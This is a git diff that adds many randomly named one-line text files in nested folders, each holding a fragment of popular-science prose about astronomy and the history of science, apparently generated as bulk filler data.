+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/vufmbzqegnvplnsedjhbur.txt
@@ -0,0 +1 @@
+There was a kind of moth that had adapted to Drosphila genetics laboratories. It was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/waggiytfmmwwfdqznemnh.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/waggiytfmmwwfdqznemnh.txt
new file mode 100644
index 0000000..1e255fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/waggiytfmmwwfdqznemnh.txt
@@ -0,0 +1 @@
+that is. We grow up in isolation. Only slowly do we teach ourselves the Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wystrclmclzrsvofcfx.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wystrclmclzrsvofcfx.txt
new file mode 100644
index 0000000..eccf6d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wystrclmclzrsvofcfx.txt
@@ -0,0 +1 @@
+the four large moons of Jupiter was also discomfiting. But far from becoming morose,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wzyrkuinrjvnwrvhl.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wzyrkuinrjvnwrvhl.txt
new file mode 100644
index 0000000..870c371
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/wzyrkuinrjvnwrvhl.txt
@@ -0,0 +1 @@
+Martian surface on the Bicentennial of the United States, July 4, 1976. Like its Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/xbvnalwwbqdyn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/xbvnalwwbqdyn.txt
new file mode 100644
index 0000000..22b9650
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/xbvnalwwbqdyn.txt
@@ -0,0 +1 @@
+At anything like our present rate of technical progress, an advanced civilization millions of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_agpgxfhauctcvokszfsctxcf.txt b/big_zip/big-zip-files/folder_guneyklias/file_agpgxfhauctcvokszfsctxcf.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_agpgxfhauctcvokszfsctxcf.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_awpdujas.txt b/big_zip/big-zip-files/folder_guneyklias/file_awpdujas.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_awpdujas.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_bzvinjwxrvmxpvwobqyiivx.txt b/big_zip/big-zip-files/folder_guneyklias/file_bzvinjwxrvmxpvwobqyiivx.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_bzvinjwxrvmxpvwobqyiivx.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_dkpueomjsvptvuqwht.txt b/big_zip/big-zip-files/folder_guneyklias/file_dkpueomjsvptvuqwht.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_dkpueomjsvptvuqwht.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_fehnehnxyougwmnbbicepfvq.txt b/big_zip/big-zip-files/folder_guneyklias/file_fehnehnxyougwmnbbicepfvq.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_fehnehnxyougwmnbbicepfvq.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_hvfgmxgpduyfwkdzwxlahnv.txt b/big_zip/big-zip-files/folder_guneyklias/file_hvfgmxgpduyfwkdzwxlahnv.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_hvfgmxgpduyfwkdzwxlahnv.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_joctfhigpdbpjqo.txt b/big_zip/big-zip-files/folder_guneyklias/file_joctfhigpdbpjqo.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_joctfhigpdbpjqo.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_jzwnlpztyaol.txt b/big_zip/big-zip-files/folder_guneyklias/file_jzwnlpztyaol.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_jzwnlpztyaol.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_kylfonfqecmwf.txt b/big_zip/big-zip-files/folder_guneyklias/file_kylfonfqecmwf.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_kylfonfqecmwf.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_lkbnlmsiphbjhptwzbu.txt b/big_zip/big-zip-files/folder_guneyklias/file_lkbnlmsiphbjhptwzbu.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_lkbnlmsiphbjhptwzbu.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_mbpwvvvrdwcmmwiqsolj.txt b/big_zip/big-zip-files/folder_guneyklias/file_mbpwvvvrdwcmmwiqsolj.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_mbpwvvvrdwcmmwiqsolj.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_oktdynypwe.txt b/big_zip/big-zip-files/folder_guneyklias/file_oktdynypwe.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_oktdynypwe.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_oxgrywhpgpjurojmlgckxtl.txt b/big_zip/big-zip-files/folder_guneyklias/file_oxgrywhpgpjurojmlgckxtl.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_oxgrywhpgpjurojmlgckxtl.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_pipdsmreyo.txt b/big_zip/big-zip-files/folder_guneyklias/file_pipdsmreyo.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_pipdsmreyo.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_prqfomgexhpyfkxhlnlio.txt b/big_zip/big-zip-files/folder_guneyklias/file_prqfomgexhpyfkxhlnlio.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_prqfomgexhpyfkxhlnlio.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_qynrlkgwmnf.txt b/big_zip/big-zip-files/folder_guneyklias/file_qynrlkgwmnf.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_qynrlkgwmnf.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_tuazpuvxutkqipqjwqe.txt b/big_zip/big-zip-files/folder_guneyklias/file_tuazpuvxutkqipqjwqe.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_tuazpuvxutkqipqjwqe.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_uihcmhodaeoe.txt b/big_zip/big-zip-files/folder_guneyklias/file_uihcmhodaeoe.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_uihcmhodaeoe.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_uxjzdjuh.txt b/big_zip/big-zip-files/folder_guneyklias/file_uxjzdjuh.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_uxjzdjuh.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_uyhhdheaslasutmwmnrnmiib.txt b/big_zip/big-zip-files/folder_guneyklias/file_uyhhdheaslasutmwmnrnmiib.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_uyhhdheaslasutmwmnrnmiib.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_wldtohuritpnnbuqggdfghm.txt b/big_zip/big-zip-files/folder_guneyklias/file_wldtohuritpnnbuqggdfghm.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_wldtohuritpnnbuqggdfghm.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_xqhjutinfqrdpmbkeu.txt b/big_zip/big-zip-files/folder_guneyklias/file_xqhjutinfqrdpmbkeu.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_xqhjutinfqrdpmbkeu.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_zauhyrcl.txt b/big_zip/big-zip-files/folder_guneyklias/file_zauhyrcl.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_zauhyrcl.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/file_zsziixlkgtcftnqfbplsnren.txt b/big_zip/big-zip-files/folder_guneyklias/file_zsziixlkgtcftnqfbplsnren.txt
new file mode 100644
index 0000000..181c3ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/file_zsziixlkgtcftnqfbplsnren.txt
@@ -0,0 +1 @@
+scientific peers. He may not have been a popular writer of science in the modern sense, but the transition in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_adcnkpcy.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_adcnkpcy.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_adcnkpcy.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_cvbptveqtnqrshtop.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_cvbptveqtnqrshtop.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_cvbptveqtnqrshtop.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_dszphxtlwgwjg.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_dszphxtlwgwjg.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_dszphxtlwgwjg.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_ftennslcrxrsusrfadaoq.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_ftennslcrxrsusrfadaoq.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_ftennslcrxrsusrfadaoq.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_lqkyblsdazqzmcdkntbkrq.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_lqkyblsdazqzmcdkntbkrq.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_lqkyblsdazqzmcdkntbkrq.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mozsxvworccshpiyr.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mozsxvworccshpiyr.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mozsxvworccshpiyr.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mrmiyamqknxeououn.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mrmiyamqknxeououn.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_mrmiyamqknxeououn.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_natezfickiycyzddyiyeht.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_natezfickiycyzddyiyeht.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_natezfickiycyzddyiyeht.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rbcihpbthglrjfdhustii.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rbcihpbthglrjfdhustii.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rbcihpbthglrjfdhustii.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rqsnyvxyykezzok.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rqsnyvxyykezzok.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_rqsnyvxyykezzok.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_tfebzyeecjwsfuv.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_tfebzyeecjwsfuv.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_tfebzyeecjwsfuv.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_vggikgcan.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_vggikgcan.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_vggikgcan.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_weogidfijnrkw.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_weogidfijnrkw.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_weogidfijnrkw.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_whhzkbafpaljcm.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_whhzkbafpaljcm.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_whhzkbafpaljcm.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xcixhjlrsuqlwdtidanvq.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xcixhjlrsuqlwdtidanvq.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xcixhjlrsuqlwdtidanvq.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xwziesauxmxwucckco.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xwziesauxmxwucckco.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_xwziesauxmxwucckco.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_zsdugmojfgpqi.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_zsdugmojfgpqi.txt
new file mode 100644
index 0000000..b3eb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/file_zsdugmojfgpqi.txt
@@ -0,0 +1 @@
+environments. The nitrogen in the Earth’s atmosphere is much more chemically inert and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/dgvbqgfxndascbnzitpt.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/dgvbqgfxndascbnzitpt.txt
new file mode 100644
index 0000000..cb04008
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/dgvbqgfxndascbnzitpt.txt
@@ -0,0 +1 @@
+planet. Not only was it the time of Thales, Anaximander, Pythagoras and others in Ionia, but also the time of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/epuocxkjuahysymxucllxmi.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/epuocxkjuahysymxucllxmi.txt
new file mode 100644
index 0000000..c253d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/epuocxkjuahysymxucllxmi.txt
@@ -0,0 +1 @@
+toothache with second-rate beer was tied to the deepest cosmological mysteries.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_axuidptiwuzbyioyrejdpn.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_axuidptiwuzbyioyrejdpn.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_axuidptiwuzbyioyrejdpn.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_bjquoadtd.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_bjquoadtd.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_bjquoadtd.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_ellfcnjt.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_ellfcnjt.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_ellfcnjt.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_lafahpxn.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_lafahpxn.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_lafahpxn.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_tpqctcfbkb.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_tpqctcfbkb.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_tpqctcfbkb.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vkcbkluupnlyi.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vkcbkluupnlyi.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vkcbkluupnlyi.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vxzimyyxpxswdwocnbvz.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vxzimyyxpxswdwocnbvz.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_vxzimyyxpxswdwocnbvz.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yeiivvmdlgkohrotnal.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yeiivvmdlgkohrotnal.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yeiivvmdlgkohrotnal.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yspssnsrmgozgigjffulaqf.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yspssnsrmgozgigjffulaqf.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_yspssnsrmgozgigjffulaqf.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_zlhzjeiyqcireep.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_zlhzjeiyqcireep.txt
new file mode 100644
index 0000000..ca63fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/file_zlhzjeiyqcireep.txt
@@ -0,0 +1 @@
+Eratosthenes accurately calculated the size of the Earth, mapped it, and argued that India
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gqoawicfnkpb.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gqoawicfnkpb.txt
new file mode 100644
index 0000000..ca3457d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gqoawicfnkpb.txt
@@ -0,0 +1 @@
+brains are like, the course of our evolution, the prospects for our future.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gtjnzdrf.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gtjnzdrf.txt
new file mode 100644
index 0000000..5323dca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/gtjnzdrf.txt
@@ -0,0 +1 @@
+barely visible in the sky at this time, was a newly discovered comet called Arend-Roland.
\ No newline at end of file
